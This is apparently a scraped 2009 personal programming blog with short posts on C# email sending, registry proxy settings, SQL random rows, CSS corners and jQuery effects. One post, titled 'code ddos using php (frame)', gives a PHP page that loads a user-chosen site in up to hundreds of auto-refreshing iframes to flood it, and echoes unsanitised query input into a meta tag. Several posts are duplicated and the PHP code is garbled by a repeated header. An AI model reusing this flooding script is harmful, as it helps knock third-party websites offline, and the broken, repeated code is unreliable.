MailMessage MailMesaji = new MailMessage();
MailMesaji.Subject = "subject";
MailMesaji.Body = "mail body";
MailMesaji.BodyEncoding = Encoding.GetEncoding("Windows-1254"); //Encoding
MailMesaji.From = new MailAddress("shimi.gov@gmail.com");
MailMesaji.To.Add(new MailAddress("shimi.gov@gmail.com"));
System.Net.Mail.SmtpClient Smtp = new SmtpClient();
Smtp.Host = "smtp.gmail.com"; // for example gmail smtp server
Smtp.EnableSsl = true;
Smtp.Credentials = new System.Net.NetworkCredential("shimi.gov@gmail.com", "password");
Smtp.Send(MailMesaji);
Form1.ActiveForm.Text = "thanh cong";
7/16/2009
code ddos using php (frame) can using for asp.net
<HTML>
<HEAD>
<?php
if(isset($_GET['refresh'])) {
echo "<meta http-equiv=\"refresh\" content=\"".$_GET['refresh']."\">";
}
?>
<TITLE>Frames? Yes.</TITLE>
</HEAD>
<BODY>
<?php
$defSite = "http://www.shimivn.blogspot.com/";
$defFrames = 100;
$defRefresh = 0;
<HEAD>
<?php
if(isset($_GET['refresh'])) {
echo "<meta http-equiv=\"refresh\" content=\"".$_GET['refresh']."\">";
}
?>
<TITLE>Frames? Yes.</TITLE>
</HEAD>
<BODY>
<?php
$defSite = "http://www.shimivn.blogspot.com/";
$defFrames = 100;
$defRefresh = 0;
if(!isset($_GET['sockets'])) {
$frames = $defFrames;
}
else {
$frames = $_GET['sockets'];
}
if(!isset($_GET['site'])) {
$site = $defSite;
}
else {
$site = $_GET['site'];
}
for($i = 1; $i <= $frames; $i++) {
echo "<iframe src=\"$site\" width=\"5%\" height=\"5%\"></iframe>";
if($i % 10 == 0) {
echo "<br />";
sleep(3);
}
}
print_r($_GET);
?>
<br />
<form action=<?php echo "\"".$_SERVER['PHP_SELF']."\"" ?> method="GET">
<label>Frames to use:</label>
<br />
<input type="text" name="sockets" />
<br />
<label>Site to open:</label>
<br />
<input type="text" name="site" />
<br />
<label>Refresh rate:</label>
<br />
<input type="text" name="refresh" value="200" />
<br />
<br />
<input type="submit" value="Open frames" />
</form>
</BODY>
</HTML>
7/15/2009
using proxy with com webbrower C#
public void strproxy(string serverName,string port)
{
string key = "Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings";
string proxy = serverName + ":" + port;
RegistryKey RegKey = Registry.CurrentUser.OpenSubKey(key, true);
RegKey.SetValue("ProxyServer", proxy);
RegKey.SetValue("ProxyEnable", 1);
}
button click
string strurl = "http://shimivn.blogspot.com";
webBrowser1.Url =new System.Uri(strurl);
webBrowser1.Document.Cookie = null;
webBrowser1.GoForward
// webBrowser1.Show();
{
string key = "Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings";
string proxy = serverName + ":" + port;
RegistryKey RegKey = Registry.CurrentUser.OpenSubKey(key, true);
RegKey.SetValue("ProxyServer", proxy);
RegKey.SetValue("ProxyEnable", 1);
}
button click
string strurl = "http://shimivn.blogspot.com";
webBrowser1.Url =new System.Uri(strurl);
webBrowser1.Document.Cookie = null;
webBrowser1.GoForward
// webBrowser1.Show();
7/14/2009
random in asp.net/c#
using sql querry :
string sqlqueryselect = "select top 3 * from Products order by newid() ";
with php using random - rand()
string sqlqueryselect = "select * from Products ORDER BY RAND() LIMIT 3 ";
string sqlqueryselect = "select top 3 * from Products order by newid() ";
with php using random - rand()
string sqlqueryselect = "select * from Products ORDER BY RAND() LIMIT 3 ";
7/13/2009
boder-conner
div#conner {
margin: 0 10%;background: #9FB779
}
b.rtop, b.rbottom {
display:block;background: #FFF
}
b.rtop b, b.rbottom b {
display:block;
height: 1px;
overflow: hidden;
background: #9FB779
}
b.r1 {
margin: 0 5px
}
b.r2 {
margin: 0 3px
}
b.r3 {
margin: 0 2px
}
b.rtop b.r4, b.rbottom b.r4 {
margin: 0 1px;height: 2px
}
in html
<div id="conner" align="center">
<b class="rtop">
<b class="r1"></b>
<b class="r2"></b>
<b class="r3"></b>
<b class="r4"></b>
</b>
<h4>Nội dung cần thể hiện</h4>
<b class="rbottom">
<b class="r4"></b>
<b class="r3"></b>
<b class="r2"></b>
<b class="r1"></b>
</b> </div>
margin: 0 10%;background: #9FB779
}
b.rtop, b.rbottom {
display:block;background: #FFF
}
b.rtop b, b.rbottom b {
display:block;
height: 1px;
overflow: hidden;
background: #9FB779
}
b.r1 {
margin: 0 5px
}
b.r2 {
margin: 0 3px
}
b.r3 {
margin: 0 2px
}
b.rtop b.r4, b.rbottom b.r4 {
margin: 0 1px;height: 2px
}
in html
<div id="conner" align="center">
<b class="rtop">
<b class="r1"></b>
<b class="r2"></b>
<b class="r3"></b>
<b class="r4"></b>
</b>
<h4>Nội dung cần thể hiện</h4>
<b class="rbottom">
<b class="r4"></b>
<b class="r3"></b>
<b class="r2"></b>
<b class="r1"></b>
</b> </div>
jquerry effect image
using effect for image
1 download jquerry at http://docs.jquery.com/Downloading_jQuery
2 $(document).ready(function(){
$(".imagesclass").click(function () {
$(".imagesclass").fadeOut("slow");
});
});
or
$(document).ready(function(){
$(".fadeOver").hover(function(){$(this).fadeTo("fa st", 0.6);},function(){$(this).fadeTo("fast", 1);});
});
call function
3. in tag body
img src= url here class='imagesclass' or class='fadeover'
4 see
1 download jquerry at http://docs.jquery.com/Downloading_jQuery
2 $(document).ready(function(){
$(".imagesclass").click(function () {
$(".imagesclass").fadeOut("slow");
});
});
or
$(document).ready(function(){
$(".fadeOver").hover(function(){$(this).fadeTo("fa st", 0.6);},function(){$(this).fadeTo("fast", 1);});
});
call function
3. in tag body
img src= url here class='imagesclass' or class='fadeover'
4 see
7/12/2009
short domain
http://www.4vn.in/ to short domain
ex: come.vn, no1.vn, 4vn.in, 60s.in, fpt.in, xitin.in, cntt.in, amnhac.in, trochoi.biz, kissyou.biz, choang.info, webdep.info, saylove.info, haylam.com
http://co.cc free but domain you reg if anyone buy it will sell
ex: come.vn, no1.vn, 4vn.in, 60s.in, fpt.in, xitin.in, cntt.in, amnhac.in, trochoi.biz, kissyou.biz, choang.info, webdep.info, saylove.info, haylam.com
http://co.cc free but domain you reg if anyone buy it will sell
Subscribe to:
Posts (Atom)
List
Profiles Information
About me : Nothing is 1 vài thứ - 1985
Places I've Lived : I ♥ Hà Nội
Home Page : http://www.shimivn.blogspot.com/
Think : 1:1000000000
Languages spoken : Vietnamese,English.
Mobile : sony C2305 ♥ ♥
dell : i3-Ram 3GB- HDD 250GB . ♥♥♥
Places I've Lived : I ♥ Hà Nội
Home Page : http://www.shimivn.blogspot.com/
Think : 1:1000000000
Languages spoken : Vietnamese,English.
Mobile : sony C2305 ♥ ♥
dell : i3-Ram 3GB- HDD 250GB . ♥♥♥